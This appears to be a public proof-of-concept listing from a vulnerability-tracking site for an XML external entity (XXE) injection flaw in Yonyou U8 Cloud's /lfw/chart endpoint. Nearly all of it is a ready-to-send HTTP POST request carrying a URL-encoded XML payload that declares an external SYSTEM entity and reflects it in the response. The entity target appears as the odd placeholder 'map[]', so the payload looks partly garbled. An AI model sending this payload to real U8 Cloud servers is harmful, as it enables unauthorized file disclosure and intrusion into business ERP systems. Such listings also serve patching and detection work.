BiuPoC

用友 U8 Cloud /lfw/chart XML实体注入漏洞

2024-04-15 用友U8 Cloud PoC Public

Description

用友 U8 Cloud /lfw/chart XML实体注入漏洞

PoC

POST /lfw/chart HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 298
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

type=pie&xmlstr=%3C?xml%20version=%271.0%27%20encoding=%27UTF-8%27?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20pqn%20SYSTEM%20%22map[]%22%3E]%3E%3Cchartdataset%3E%3Cparam%3E%3Ctitle%3E%26pqn;%3C/title%3E%3C/param%3E%3Cchart%3E%3Cname%3EUAP%3C/name%3E%3Ccount%3E1%3C/count%3E%3C/chart%3E%3C/chartdataset%3E

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://stack.chaitin.com/vuldb/detail/d7da20ca-e843-4f36-b5e8-3ea9db2b4b44

References

Related Vulnerabilities